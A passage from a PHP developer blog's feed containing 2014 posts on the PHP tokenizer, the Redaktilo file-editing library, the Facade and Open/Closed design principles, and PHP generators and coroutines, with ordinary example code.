    array(T_ISSET, "isset", 8),
    "(",
    array(T_VARIABLE, "$content", 8),
    "[",
    array(T_VARIABLE, "$length", 8),
    "]",
    ")",
    ";",
    array(T_WHITESPACE, " ", 8),
    array(T_VARIABLE, "$length", 8),
    array(T_INC, "++", 8),
    ")",
    ";",
    array(T_WHITESPACE, "\n\n", 8), // Double new line in one token
    // Line 10
    array(T_RETURN, "return", 10),
    array(T_WHITESPACE, " ", 10),
    array(T_VARIABLE, "$length", 10),
    ";",
    array(T_WHITESPACE, "\n", 10),
    "}",
);
</code></pre>

<p>As you can see some things might seem odd, but once you know it you can start
manipulating the tokens. You should rely only on constants because their value
might vary between versions (e.g. <code>T_OPEN_TAG</code> is <code>376</code> in 5.6 and <code>374</code> in
5.5).</p>

<p>If you want to display a readable representation of the token's constant values,
use <code>token_name($token)</code>.</p>

<h2 id="further-resources">Further resources</h2>

<p>Here's some resources you might find interresting:</p>

<ul>
<li><a href="http://www.php.net/manual/en/book.tokenizer.php">Tokenizer documentation</a></li>
<li><a href="http://www.php.net/manual/en/function.token-name.php">token_name documentation</a></li>
<li><a href="http://www.php.net/manual/en/function.token-get-all.php">token_get_all documentation</a></li>
<li><a href="http://www.php.net/manual/en/tokens.php">list of PHP tokens</a></li>
<li><a href="https://github.com/php/php-src/blob/master/Zend/zend_language_parser.y">PHP grammar rules</a></li>
<li><a href="http://stackoverflow.com/a/2751170/3437428">How to get the entire function from a file? on Stack Overflow</a></li>
<li><a href="http://stackoverflow.com/questions/5832412/compiling-an-ast-back-to-source-code">Compiling an AST back to source code, on Stack Overflow</a></li>
<li><a href="https://github.com/nikic/PHP-Parser">PHP Parser</a></li>
<li><a href="https://github.com/igorw/galapagos#galapagos">Galapagos</a></li>
<li><a href="https://github.com/squizlabs/PHP_CodeSniffer">PHP_CodeSniffer</a></li>
<li><a href="https://github.com/gnugat/redaktilo">Redaktilo</a></li>
<li><a href="http://www.tig12.net/spip/Working-with-PHP-tokens.html">working with PHP tokens by Thierry Graff</a></li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Redaktilo v0.7]]></title>
            <link href="/2014/05/27/redaktilo-0-7.html"/>
            <updated>2014-05-27T00:00:00+01:00</updated>
            <id>/2014/05/27/redaktilo-0-7.html</id>
            <content type="html"><![CDATA[<p><a href="#conclusion">TL;DR: jump to the conclusion</a>.</p>

<p>Since the announcement of <a href="https://github.com/gnugat/redaktilo">Redaktilo</a> on
this blog, this silly library has jumped from 164 lines of code in v0.3 to 571
in v0.7.</p>

<p>In this article:</p>

<ol>
<li>we'll quickly oversee <a href="#changes-done">the changes done</a></li>
<li>then we'll have some insight on <a href="#upcoming-changes">the upcoming changes</a></li>
<li>finally I'll list <a href="#remaining-unresolved-questions">the remaining unresolved questions</a></li>
</ol>

<h2 id="changes-done">Changes done</h2>

<p>Thanks to <a href="https://github.com/gnugat/redaktilo/commits?author=WouterJ">WouterJ</a>
you can now:</p>

<ul>
<li>remove the current line: <code>$editor-&gt;remove($file);</code></li>
<li>replace the current line: <code>$editor-&gt;changeTo($file, $replacement);</code></li>
<li>replace all occurences: <code>$editor-&gt;replaceWith($file, $regex, $callback);</code></li>
<li>check line presence: <code>$editor-&gt;has($file, $pattern);</code></li>
</ul>

<p>I've updated to documentation to make the library easier to learn with:</p>

<ul>
<li>a <a href="https://github.com/gnugat/redaktilo/blob/master/doc/01-tutorial.md">tutorial</a></li>
<li>a <a href="https://github.com/gnugat/redaktilo/blob/master/doc/03-reference.md">code reference</a></li>
</ul>

<p><strong>Redaktilo</strong> has been created to fulfill actual needs. To make sure it keeps
this promise, I've added executable
<a href="https://github.com/gnugat/redaktilo/tree/master/tests/example">examples using PHPUnit tests</a>.</p>

<p>The major changes have been massive refactorings to allow the library to be
extended:</p>

<ul>
<li><a href="https://github.com/gnugat/redaktilo/tree/master/src/Gnugat/Redaktilo/Search">you can add search strategies</a></li>
<li><a href="https://github.com/gnugat/redaktilo/tree/master/src/Gnugat/Redaktilo/Converter">you can convert the file's content</a></li>
</ul>

<p>As highlited by <a href="https://twitter.com/clemherreman/status/466497340824911872">Clément Herreman</a>,
those refactorings have introduced a more complex construction schema.
To make things easier, a
<a href="https://github.com/gnugat/redaktilo/blob/master/src/Gnugat/Redaktilo/DependencyInjection/StaticContainer.php">static Dependency Injection Container</a>
has been created.</p>

<h2 id="upcoming-changes">Upcoming changes</h2>

<p><a href="http://www.sublimetext.com/">Sublime Text's go to anything</a> feature is
really awesome, which is why I'd like to implement something similar:</p>

<ul>
<li>go to the previous/next line (<code>array_search</code>)</li>
<li>go to x lines above/under</li>
<li>go to the previous/next substring match (<code>strpos</code>)</li>
<li>go to the previous/next regex match (<code>preg_grep</code>)</li>
<li>go to the previous/next PHP class/method/function (<code>token_get_all</code>)</li>
</ul>

<p>The two first ones are already available, so the other one still have to be
implemented (the last one might be done by
<a href="https://github.com/gnugat/redaktilo/issues/6#issuecomment-44005931">Loick Piera</a>).</p>

<p>The methods allowing this throw exception when nothing is found. Adding a
relative check (<code>hasBefore</code> and <code>hasAfter</code>) might make things easier.</p>

<p>Moving relatively isn't always sufficient. To go to an absolute line number
you have to use directly <code>File</code>, maybe it would be nicer to add a new method
to <code>Editor</code> (<code>jumpToFirst</code>).</p>

<p>Finally, the editor should allow insertion, replacement and removal in any
locations, not just on the current line.</p>

<p>Once these features added, more refactoring should take place: since the
creation of <strong>Redaktilo</strong>, <a href="https://github.com/jfsimon">Jean-François Simon</a>
advised me to use the command and memento patterns, which would allow the
undo/redo feature.
While I now think that <code>Command</code> is indeed more suitable than <code>ReplaceStrategy</code>
for insertion, replacement and removal, I'm not sure the versioning feature
is actually needed... For now.</p>

<p>And that should bring us near an alpha version :) .</p>

<p>A lot of renaming should happen at this stage:</p>

<ul>
<li><code>changeTo</code> to <code>replace</code></li>
<li><code>replaceWith</code> to <code>replaceAll</code></li>
<li><code>NotSupportedException</code> to <code>NotFoundEsception</code></li>
</ul>

<p>And perhaps some other methods or class names.</p>

<p>Once the heavy renaming done, beta versions can begin, with a main focus on
making every thing safer (argument checking, exception handling).</p>

<h2 id="remaining-unresolved-questions">Remaining unresolved questions</h2>

<p>I'm still not fully sure of what Redaktilo v1.0 will look like. Mainly because
I still haven't anwsered this by question (which have been in my mind since the
begining):</p>

<p>Should <strong>Redaktilo</strong> handle different kinds of files?</p>

<p>Sometimes I think it should, which is why the project has seen:</p>

<ul>
<li><a href="https://github.com/gnugat/redaktilo/tree/v0.1.0/src/Gnugat/Redaktilo/Editor">Editor interface</a></li>
<li><a href="https://github.com/gnugat/redaktilo/tree/v0.1.0/src/Gnugat/Redaktilo/File">File interface</a></li>
<li><a href="https://github.com/gnugat/redaktilo/tree/v0.6.1/src/Gnugat/Redaktilo">a premature ReplaceEngine/ReploaceStrategy</a></li>
<li><a href="https://github.com/gnugat/redaktilo/tree/v0.7.0/src/Gnugat/Redaktilo/Converter">ContentConverter interface</a></li>
</ul>

<p>The motives behind this is the JSON use case: you can currently edit JSON
files, but it's tedious.</p>

<p>Let's take the <code>composer.json</code> example. What if you need to
<a href="https://getcomposer.org/doc/articles/scripts.md">add a script</a> when:</p>

<ul>
<li>there's no <code>scripts</code> section yet?</li>
<li>there's no subsection in <code>script</code> yet?</li>
<li>there's already a script, but not in an array</li>
<li>there's already some scripts</li>
</ul>

<p>Another example would be the addition of a new element in an array: you
currently have to manually a trailing comma to the previous entry...</p>

<h2 id="conclusion">Conclusion</h2>

<p><strong>Redaktilo</strong> fulfills 98% of my use cases (inserting new lines in a YAML
configuration file, editing PHP files and replacing bits in a documentation
file) and is now extensible.</p>

<p>Some search strategies will be added to make it similar to the
<a href="http://www.sublimetext.com/">Sublime Text's go to anything</a>, and some
refactoring are still necessary before an alpha version.</p>

<p>There's still some unresolved questions (JSON edition is the 2% use case left),
but I'm sure they'll be answered during the development.</p>

<p>In the end <code>Editor</code> should have the following methods (no guaranty on the
names):</p>

<ul>
<li>filesystem operations: open/save</li>
<li>checking line presence: has/hasBefore/hasAfter</li>
<li>content navigation: jumpTo/jumpUpTo/jumpDownTo</li>
<li>content manipulation: insert/remove/replace (on the current line or at the
given location)</li>
<li>global manipulation: replaceAll</li>
</ul>

<p>I'd like to thank the early contributors:</p>

<ul>
<li><a href="https://github.com/jfsimon">Jean-François Simon</a></li>
<li><a href="https://github.com/gnugat/redaktilo/commits?author=WouterJ">WouterJ</a></li>
<li><a href="https://github.com/gnugat/redaktilo/commit/7c8da2d94e1d659318e9bb1745c8cc19435cb3af#commitcomment-6279956">Clément Debiaune</a></li>
<li><a href="https://twitter.com/clemherreman/status/466497340824911872">Clément Herreman</a></li>
<li><a href="https://github.com/gnugat/redaktilo/issues/6#issuecomment-44005931">Loick Piera</a></li>
</ul>

<p>Any help is appreciated, whether it's some code review, typo fixing or
code/documentation contribution. But the biggest help you could give me:
provide me with some feedback on Redaktilo's usage :) .</p>

<p>If you have any questions, remarks, please feel free to
<a href="https://github.com/gnugat/redaktilo/issues?state=open">open an issue</a> and
start a discussion here.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Facade design pattern, by example]]></title>
            <link href="/2014/05/21/facade-design-pattern-by-example.html"/>
            <updated>2014-05-21T00:00:00+01:00</updated>
            <id>/2014/05/21/facade-design-pattern-by-example.html</id>
            <content type="html"><![CDATA[<p><a href="#conclusion">TL;DR: jump to the conclusion</a>.</p>

<p>Sometimes, you just want to hide low level complexity behind a unique interface
which communicates a high level policy. The Facade design pattern is all about
this.</p>

<p>In this article, we'll see a real world example with
<a href="https://github.com/gnugat/redaktilo">Redaktilo</a>.</p>

<h2 id="low-level-file-manipulation">Low level file manipulation</h2>

<p><strong>Redaktilo</strong> provides an object oriented way to manipulate files. For example
you can open existing ones, or create new ones:</p>

<pre><code class="php">&lt;?php
require_once __DIR__.'/vendor/autoload.php';

use Gnugat\Redaktilo\DependencyInjection\StaticContainer;

$filesystem = StaticContainer::makeFilesystem();

$filename = '/tmp/monthy.py';
if ($filesystem-&gt;exists($filename)) {
    $file = $filesystem-&gt;open('/tmp/existing.txt');
} else {
    $file = $filesystem-&gt;create('/tmp/new.txt');
}

// ...
</code></pre>

<p>The main interest in this library lies in manipulations you can do, for example
jumping to a line and adding a new one under it:</p>

<pre><code class="php">&lt;?php
// ...

$lineSearchStrategy = StaticContainer::makeLineSearchStrategy();
$lineReplaceStrategy = StaticContainer::makeLineReplaceStrategy();

$lineNumber = $lineSearchStrategy-&gt;findNext('if Knight.saysNi():');
$lineReplaceStrategy-&gt;insertAt($file, $lineNumber, '    print "Ni!"');

// ...
</code></pre>

<p>Finally, you need to actually save the changes (they were only done in memory
until now) :</p>

<pre><code class="php">// ...

$filesystem-&gt;write($file);
</code></pre>

<h2 id="a-higher-level-api%3F">A higher level API?</h2>

<p>The Filesystem and Search/Replace strategies are low level APIs and require a
lot of boilerplate code to do every day tasks.</p>

<p>What if we provided a unique interface in front of those services? One that
would be in a higher level, say a text editor metaphor for instance?</p>

<pre><code class="php">&lt;?php
require_once __DIR__.'/vendor/autoload.php';

use Gnugat\Redaktilo\DependencyInjection\StaticContainer;

$editor = StaticContainer::makeEditor();

$filename = '/tmp/monthy.py';
$file = $editor-&gt;open($filename, true); // Force file creation.

$editor-&gt;jumpDownTo($file, 'if Knight.saysNi():');
$editor-&gt;addAfter($file, '    print "Ni!"');

$editor-&gt;save($file);
</code></pre>

<p>You don't need to take care of every service creation, and now you only have to
learn a small set of methods. The text editor metaphor also provides you with a
neat way to easily remember these methods!</p>

<h2 id="conclusion">Conclusion</h2>

<p>Facades hide low level implementation by providing a unique high level API.</p>

<p>Here's another blog post about this pattern, by
<a href="http://mikeebert.tumblr.com/post/25342991856/design-pattern-facade-pattern">Mike Ebert</a>.</p>

<p>I hope you found this article interesting, if you have any questions or
feedback please feel free to do so on <a href="https://twitter.com/epiloic">Twitter</a>.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Open/Closed principle, by example]]></title>
            <link href="/2014/05/14/open-closed-principle-by-example.html"/>
            <updated>2014-05-14T00:00:00+01:00</updated>
            <id>/2014/05/14/open-closed-principle-by-example.html</id>
            <content type="html"><![CDATA[<p><a href="#conclusion">TL;DR: jump to the conclusion</a>.</p>

<p>This week I've read two articles, which just have been published, on the
Open/Closed principle:</p>

<ul>
<li>one by <a href="http://blog.8thlight.com/uncle-bob/2014/05/12/TheOpenClosedPrinciple.html">Uncle Bob</a></li>
<li>another one by <a href="http://verraes.net/2014/05/final-classes-in-php/">Mathias Verraes</a></li>
</ul>

<p>I'd like to add my small contribution to their explanation by providing a real
world example: <a href="https://github.com/gnugat/redaktilo">Redaktilo</a>.</p>

<h2 id="problem-statement">Problem statement</h2>

<p>Let's say you have the following file:</p>

<pre><code>Egg
Sausage
Bacon
Spam
</code></pre>

<p>Redaktilo provides an <code>Editor</code> class which allows you to jump to the line you
want, provided that you know exactly its content:</p>

<pre><code class="php">$editor-&gt;has($file, 'Bacon'); // true!
$editor-&gt;jumpDownTo($file, 'Bacon'); // Current line: Bacon
$editor-&gt;jumpUpTo($file, 'Sausage'); // Current line: Sausage
</code></pre>

<p>But what if you want to jump two lines under <code>Sausage</code>? You'd have to create
a new method:</p>

<pre><code class="php">$editor-&gt;moveDown($file, 2); // Current line: Spam
</code></pre>

<p>You have extended <code>Editor</code> by modifying it.</p>

<h2 id="complying-to-the-open%2Fclosed-principle">Complying to the Open/Closed principle</h2>

<p>Having to fork a library to extend it doesn't feel natural. What does the
Open/Closed principle say?</p>

<blockquote>
  <p>Software entities (classes, modules, functions, etc.) should be open for
  extension, but closed for modification.</p>
</blockquote>

<p>Our <code>Editor</code> class is open to extension, but also to modification.</p>

<p>To fix this, we can transfer the responsibility of finding a pattern in the file
to a <code>SearchStrategy</code>:</p>

<pre><code class="php">&lt;?php

namespace Gnugat\Redaktilo\Search;

use Gnugat\Redaktilo\File;

interface SearchStrategy
{
    public function has(File $file, $pattern);

    public function findNext(File $file, $pattern);
    public function findPrevious(File $file, $pattern);

    public function supports($pattern);
}

</code></pre>

<p>Here's some implementation ideas:</p>

<ul>
<li><code>LineSearchStrategy</code>: looking for the exact line in the file</li>
<li><code>LineNumberSearchStrategy</code>: jumping to a line relatively to the current one</li>
<li><code>RegexpSearchStrategy</code>: looking for a pattern in the file using regular expressions</li>
<li><code>PhpTokenSearchStrategy</code>: parsing PHP tokens</li>
</ul>

<p>The <code>supports</code> method tells you that <code>LineSearchStrategy</code> needs <code>$pattern</code> to be
a string, but that <code>RegexpSearchStrategy</code> needs an <code>Expression</code> value object.</p>

<p>The responsibility to find a <code>SearchStrategy</code> which supports the given pattern
should be delegated to <code>SearchEngine</code>:</p>

<pre><code class="php">&lt;?php

namespace Gnugat\Redaktilo\Search;

class SearchEngine
{
    private $searchStrategies = array();

    public function registerStrategy(SearchStrategy $searchStrategy)
    {
        $this-&gt;searchStrategies[] = $searchStrategy;
    }

    public function resolve($pattern)
    {
        foreach ($this-&gt;searchStrategies as $searchStrategy) {
            if ($searchStrategy-&gt;supports($pattern)) {
                return $searchStrategy;
            }
        }

        throw new PatternNotSupportedException($pattern);
    }
}
</code></pre>

<p>You no longer need to fork Redaktilo to add new search related behavior, you can
now just create a new implementation of <code>SearchStrategy</code>, register it into
<code>SearchEngine</code> and then inject it into the <code>Editor</code>:</p>

<pre><code class="php">use Gnugat\Redaktilo\Editor;
use Gnugat\Redaktilo\Filesystem;
use Gnugat\Redaktilo\Search\SearchEngine;
use Gnugat\Redaktilo\Search\LineNumberSearchStrategy;
use Gnugat\Redaktilo\Search\LineSearchStrategy;
use Symfony\Component\Filesystem\Filesystem as SymfonyFilesystem;

$searchEngine = new SearchEngine();

$lineSearchStrategy = new LineSearchStrategy();
$searchEngine-&gt;registerStrategy($lineSearchStrategy);

$lineNumberSearchStrategy = new LineNumberSearchStrategy();
$searchEngine-&gt;registerStrategy($lineNumberSearchStrategy);

$symfonyFilesystem = new SymfonyFilesystem();
$filesystem = new Filesystem($symfonyFilesystem);
$editor = new Editor($filesystem, $searchEngine);
</code></pre>

<p>We just made Redaktilo open to extension (still) and closed to modifications,
hooray!</p>

<h2 id="editor%27s-diff">Editor's diff</h2>

<p>Here's what <code>Editor</code> looked like after adding <code>moveDown</code>:</p>

<pre><code class="php">&lt;?php

namespace Gnugat\Redaktilo;

class Editor
{
    public function jumpDownTo(File $file, $pattern)
    {
        $lines = $file-&gt;readlines();
        $filename = $file-&gt;getFilename();
        $currentLineNumber = $file-&gt;getCurrentLineNumber() + 1;
        $length = count($lines);
        while ($currentLineNumber &lt; $length) {
            if ($lines[$currentLineNumber] === $pattern) {
                $file-&gt;setCurrentLineNumber($currentLineNumber);

                return;
            }
            $currentLineNumber++;
        }

        throw new \Exception("Couldn't find line $pattern in $filename");
    }

    public function jumpUpTo(File $file, $pattern)
    {
        $lines = $file-&gt;readlines();
        $filename = $file-&gt;getFilename();
        $currentLineNumber = $file-&gt;getCurrentLineNumber() - 1;
        while (0 &lt;= $currentLineNumber) {
            if ($lines[$currentLineNumber] === $pattern) {
                $file-&gt;setCurrentLineNumber($currentLineNumber);

                return;
            }
            $currentLineNumber--;
        }

        throw new \Exception("Couldn't find line $pattern in $filename");
    }

    public function moveUp(File $file, $lines = 1)
    {
        $newLineNumber = $file-&gt;getCurrentLineNumber() - $lines;

        if ($newLineNumber &lt; 0) {
            $newLineNumber = 0;
        }

        $file-&gt;setCurrentLineNumber($newLineNumber);
    }

    public function has(File $file, $pattern)
    {
        return $file-&gt;hasLine($pattern);
    }
}
</code></pre>

<p>And now, here's what it looks like:</p>

<pre><code class="php">&lt;?php

namespace Gnugat\Redaktilo;

use Gnugat\Redaktilo\Search\SearchEngine;

class Editor
{
    private $searchEngine;

    public function __construct(SearchEngine $searchEngine)
    {
        $this-&gt;searchEngine = $searchEngine;
    }

    public function jumpDownTo(File $file, $pattern)
    {
        $searchStrategy = $this-&gt;searchEngine-&gt;resolve($pattern);
        $foundLineNumber = $searchStrategy-&gt;findNext($file, $pattern);

        $file-&gt;setCurrentLineNumber($foundLineNumber);
    }

    public function jumpUpTo(File $file, $pattern)
    {
        $searchStrategy = $this-&gt;searchEngine-&gt;resolve($pattern);
        $foundLineNumber = $searchStrategy-&gt;findPrevious($file, $pattern);

        $file-&gt;setCurrentLineNumber($foundLineNumber);
    }

    public function has(File $file, $pattern)
    {
        $searchStrategy = $this-&gt;searchEngine-&gt;resolve($pattern);

        return $searchStrategy-&gt;has($file, $pattern);
    }
}
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>You should be able to add new features without modifying existing code.</p>

<p>I hope you found this article interesting, if you have any questions or
feedback please feel free to do so on <a href="https://twitter.com/epiloic">Twitter</a>.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Redaktilo: because your code too needs an editor]]></title>
            <link href="/2014/05/09/redaktilo.html"/>
            <updated>2014-05-09T00:00:00+01:00</updated>
            <id>/2014/05/09/redaktilo.html</id>
            <content type="html"><![CDATA[<p><a href="#conclusion">TL;DR: jump to the conclusion</a>.</p>

<p>I've been working on a silly library lately:
<a href="https://github.com/gnugat/redaktilo">Redaktilo</a> (it means editor in esperanto).</p>

<p>Redaktilo has been created to fulfill actual needs. In this article we'll see
what it is all about, and why it won't stay silly for long.</p>

<h2 id="use-case-1%3A-yaml-configuration-edition">Use case 1: YAML configuration edition</h2>

<p><a href="https://github.com/Incenteev/ParameterHandler">Incenteev\ParameterHandler</a>
is a good example: it updates a YAML configuration after each update of the
dependencies using <a href="https://getcomposer.org/">Composer</a>.</p>

<p>It uses the
<a href="http://symfony.com/doc/current/components/yaml/introduction.html">Symfony2 Yaml component</a>
which converts a YAML string into a PHP array, and then converts it back.
The problem with it is that it strips empty lines, custom formatting and
comments...</p>

<p>Redaktilo only inserts a new line in the file, leaving it as it is.</p>

<h2 id="use-case-2%3A-json-file-edition">Use case 2: JSON file edition</h2>

<p>The <code>composer.json</code> file is really usefull and can be almost completly edited
using the <code>composer.phar</code> CLI application.</p>

<p>Some part still need manual edition, like the script section. To automate this
you could use <code>json_decode</code> and <code>json_encode</code>, but similarly to the previous use
case you would lose empty lines and custom formatting...</p>

<p>Redaktilo aims at solving this problem, but isn't ready yet: inserting a line
in JSON often means adding a comma at the end of the previous one.</p>

<h2 id="use-case-3%3A-php-source-code-edition">Use case 3: PHP source code edition</h2>

<p>To be fair this use case isn't limited to PHP source code: it can be useful for
any plain text files (text, XML, java, python, anything).</p>

<p><a href="https://github.com/gnugat/GnugatWizardBundle">GnugatWizardBundle</a> automatically
registers new bundles installed using Composer in your Symfony2 application.</p>

<p>To do so it uses
<a href="https://github.com/sensiolabs/SensioGeneratorBundle">SensioGeneratorBundle</a>'s
<a href="https://github.com/sensiolabs/SensioGeneratorBundle/blob/8b7a33aa3d22388443b6de0b0cf184122e9f60d2/Manipulator/KernelManipulator.php">KernelManipulator</a>
to insert a line in the <code>app/AppKernel.php</code>. However this class registers bundles for every
environments, and doesn't take into account bundle which depend on the kernel.</p>

<p>If you take a look at the <a href="https://github.com/sensiolabs/SensioGeneratorBundle/blob/8b7a33aa3d22388443b6de0b0cf184122e9f60d2/Manipulator/KernelManipulator.php">KernelManipulator source code</a>
you'll realise it has been a bit over engineered as it parses PHP tokens.</p>

<p>A new <code>KernelManipulator</code> could be written using Redaktilo as follow:</p>

<pre><code class="php">&lt;?php

namespace Sensio\Bundle\GeneratorBundle\Manipulator;

use Gnugat\Redaktilo\Editor;

class KernelManipulator extends Manipulator
{
    protected $editor;
    protected $appKernelFilename;

    public function __construct(Editor $editor, $appKernelFilename)
    {
        $this-&gt;editor = $editor;
        $this-&gt;appKernelFilename = $appKernelFilename;
    }

    public function addBundle($bundle)
    {
        $file = $this-&gt;editor-&gt;open($this-&gt;appKernelFilename);
        $newLine = sprintf('            new %s(),', $bundle);

        $this-&gt;editor-&gt;jumpDownTo('    public function registerBundles()');
        $this-&gt;editor-&gt;jumpDownTo('        $bundles = array(');
        $this-&gt;editor-&gt;jumpDownTo('        );');

        $this-&gt;editor-&gt;addBefore($file, $newLine);

        $this-&gt;editor-&gt;save($file);

        return true;
    }
}
</code></pre>

<h2 id="usage">Usage</h2>

<p>A great effort has been put to document the project, as you can see in the
<a href="https://github.com/gnugat/redaktilo/#redaktilo">README</a>.</p>

<p>Here's an overview!</p>

<p>You can install Redaktilo using <a href="https://getcomposer.org/">Composer</a>:</p>

<pre><code>composer require "gnugat/redaktilo:~0.3@dev"
</code></pre>

<p>Then you need to create an instance of the <code>Editor</code> class:</p>

<pre><code class="php">&lt;?php
require_once __DIR__.'/vendor/autoload.php';

use Gnugat\Redaktilo\Filesystem;
use Gnugat\Redaktilo\Editor;
use Symfony\Component\Filesystem\Filesystem as SymfonyFilesystem;

$symfonyFilesystem = new SymfonyFilesystem();
$filesystem = new Filesystem($symfonyFilesystem);
$editor = new Editor($filesystem);
</code></pre>

<p><code>Editor</code> is completly stateless, which means you can use the same instance
everywhere in your scripts/applications/libraries.</p>

<p>Let's now have a look at the available classes and their responsibility.</p>

<h2 id="file">File</h2>

<p>The basic idea behind Redaktilo is to provide an object oriented way to
represent files:</p>

<pre><code class="php">&lt;?php

namespace Gnugat\Redaktilo;

class File
{
    public function getFilename();

    public function read();
    public function write($newContent);

    // ...
}
</code></pre>

<p>Once this domain model available, you can build services to manipulate it.</p>

<h2 id="filesystem">Filesystem</h2>

<p>This is the first service available:</p>

<pre><code class="php">&lt;?php

namespace Gnugat\Redaktilo;

class Filesystem
{
    public function open($filename); // Cannot open new files
    public function create($filename); // Cannot create existing files

    public function exists($filename);

    public function write(File $file);
}
</code></pre>

<p>It creates instances of <code>File</code> and write their content in the actual file.</p>

<h2 id="editor">Editor</h2>

<p>Developers should only use the <code>Editor</code> class: it's a facade which provides the
text edition metaphor:</p>

<pre><code class="php">&lt;?php

namespace Gnugat\Redaktilo;

class Editor
{
    // Filesystem operations.
    public function open($filename, $force = false);
    public function save(File $file);

    // Line insertion.
    public function addBefore(File $file, $add);
    public function addAfter(File $file, $add);

    // Content navigation.
    public function jumpDownTo(File $file, $line);
    public function jumpUpTo(File $file, $line);
}
</code></pre>

<p>And that's it.It told you it was a small and simple library ;) . Now let's see
what's planned for the next releases.</p>

<h2 id="version-0.4-should-bring-searchengine">Version 0.4 should bring SearchEngine</h2>

<p>There's still some search logic left in <code>Editor</code>.</p>

<p>To remove it, a whole system will be put in place: <code>SearchEngineCollection</code> will
be called by <code>Editor</code> and will ask its <code>SearchEngine</code>s if they support the
pattern.</p>

<p>This should allow many search strategies:</p>

<ul>
<li>find by line (what's currently done, an exact matching)</li>
<li>find by line number</li>
<li>find by regexp</li>
<li>find by symbol (similar to <a href="http://www.sublimetext.com/">SublimeText</a>'s <code>@</code>)</li>
</ul>

<p>You could then have an extending point!</p>

<h2 id="version-0.5-should-bring-contentconverter">Version 0.5 should bring ContentConverter</h2>

<p>Some extra logic are also left in <code>File</code>, regarding the conversion of the
content into an array of lines.</p>

<p><code>ContentConverter</code> could take a file, and convert its content into anything:</p>

<ul>
<li>an array of lines</li>
<li>an array of <code>IndentedLine</code></li>
<li>PHP tokens</li>
</ul>

<p>This would allow new types of <code>SearchEngine</code>, and maybe the creation of
<code>ContentEditor</code> which would bear the single responsibility of inserting,
replacing or removing bits of it.</p>

<h2 id="i-need-your-humble-opinion-%2F-help">I need your humble opinion / help</h2>

<p>I'd like to hear about more use cases: what would you do with Redaktilo? What
would you like to do with it?</p>

<p>You can <a href="https://github.com/gnugat/redaktilo/issues/new">open issues to start discussions</a>,
just make sure to provide a real life use case ;) .</p>

<h2 id="conclusion">Conclusion</h2>

<p><a href="https://github.com/gnugat/redaktilo">Redaktilo</a> provides an Object Oriented way
to manipulate files, through the editor metaphor:</p>

<ul>
<li>your scripts can open a file</li>
<li>they can then navigate in the file to select a line</li>
<li>next, they can insert a new line above/under the current one</li>
<li>finally they can save the changes on the filesystem</li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[PHP generators and coroutines]]></title>
            <link href="/2014/04/30/php-generators-and-coroutines.html"/>
            <updated>2014-04-30T00:00:00+01:00</updated>
            <id>/2014/04/30/php-generators-and-coroutines.html</id>
            <content type="html"><![CDATA[<p><a href="#conclusion">TL;DR: jump to the conclusion</a>.</p>

<p>In PHP ~5.5, a function containing <code>yield</code> becomes an instance of the
<a href="http://php.net/manual/en/class.generator.php"><code>Generator</code> class</a>, which acts
like an iterator.</p>

<p>Each <code>yield</code> occurence marks a position. Calling <code>next</code> will move from the
current yield to the next one.</p>

<p>Thanks to the <code>send</code> method, the <code>Generator</code> class acts also as a corroutine:
you can send the returned value of the <code>yield</code> occurence.</p>

<p>A <code>Generator</code> function cannot return a value.</p>

<h2 id="generator-api">Generator API</h2>

<pre><code class="php">class Generator
{
    public function current(); // The yielded value.
    public function key();

    public function valid(); // Has the iterator been closed?

    public function next(); // Resumes execution.
    public function rewind();

    public function send($value); // Sends the value to be returned by the current yield, and resumes execution.
    public function throw(Exception $e); // Replaces the current yield with `throw $e;`
}
</code></pre>

<h2 id="examples">Examples</h2>

<h3 id="simple-example">Simple example</h3>

<pre><code class="php">function direct_generator()
{
    yield 1;
    yield 'index' =&gt; 2;
}

$generator = direct_generator();
echo $generator-&gt;current(); // outputs 1
$generator-&gt;next();
echo $generator-&gt;current(); // outputs 2
echo $generator-&gt;key(); // outputs index

</code></pre>

<h3 id="range-example">Range example</h3>

<p>The <code>foreach</code> loop internally calls <code>current</code>, <code>key</code>, <code>next</code> and <code>valid</code> methods:</p>

<pre><code class="php">function xrange($start, $end)
{
    $value = $start;
    while ($value &lt;= $end) {
        yield $value;
        $value++;
    }
}

foreach(xrange(1, 2) as $value) {
    echo $value; // outputs 1, then 2.
}
</code></pre>

<h3 id="co-routine-example">Co-routine example</h3>

<p>Calling the <code>send</code> method is like replacing the current <code>yield</code> with the given
value.</p>

<pre><code class="php">function holy_grail_countdown($number)
{
    while (0 &lt; $number) {
        $reset = (yield $number);
        $number = $reset ?: $number - 1;
    }
}

$c = holy_grail_countdown(5);
foreach ($c as $number) {
    echo "$number\n"; // outputs 5, then 2 and finally 1.
    if (5 === $number) {
        $c-&gt;send(3);
    }
}
</code></pre>

<h2 id="links-to-use-cases">Links to use cases</h2>

<p>I've first encountered generators and couritines in Python a long time ago, but
never really grasped its utility.</p>

<p>It's only recently that I've found some articles describing some usefull use
cases, so I'm just going to share them with you:</p>

<ul>
<li><a href="http://eli.thegreenplace.net/2009/08/29/co-routines-as-an-alternative-to-state-machines/">co-routines as an alternative to state machines</a></li>
<li><a href="http://nikic.github.io/2012/12/22/Cooperative-multitasking-using-coroutines-in-PHP.html">Cooperative multitasking using co-routines in PHP</a></li>
<li><a href="http://stackoverflow.com/a/1347772">Python generators and co-routines</a></li>
<li><a href="http://blog.ircmaxell.com/2012/07/what-generators-can-do-for-you.html">What generators can do for you</a></li>
<li><a href="http://www.chiark.greenend.org.uk/~sgtatham/coroutines.html">Coroutines in C</a></li>
</ul>

<p>Another helpful resource would be the <a href="https://wiki.php.net/rfc/generators">PHP's RFC</a>,
which I find more explicative than the actual documentation.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Generators allow you to pause the execution of a function and resume back to
where it stopped. Coroutines allow you to send a value while resuming back to
it!</p>

<p>If you have any comments or questions, feel free to notify me on
<a href="https://twitter.com/epiloic">Twitter</a>.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Symfony Sessions introduction]]></title>
            <link href="/2014/04/23/sf2-sessions-introduction.html"/>
            <updated>2014-04-23T00:00:00+01:00</updated>
            <id>/2014/04/23/sf2-sessions-introduction.html</id>
            <content type="html"><![CDATA[<blockquote>
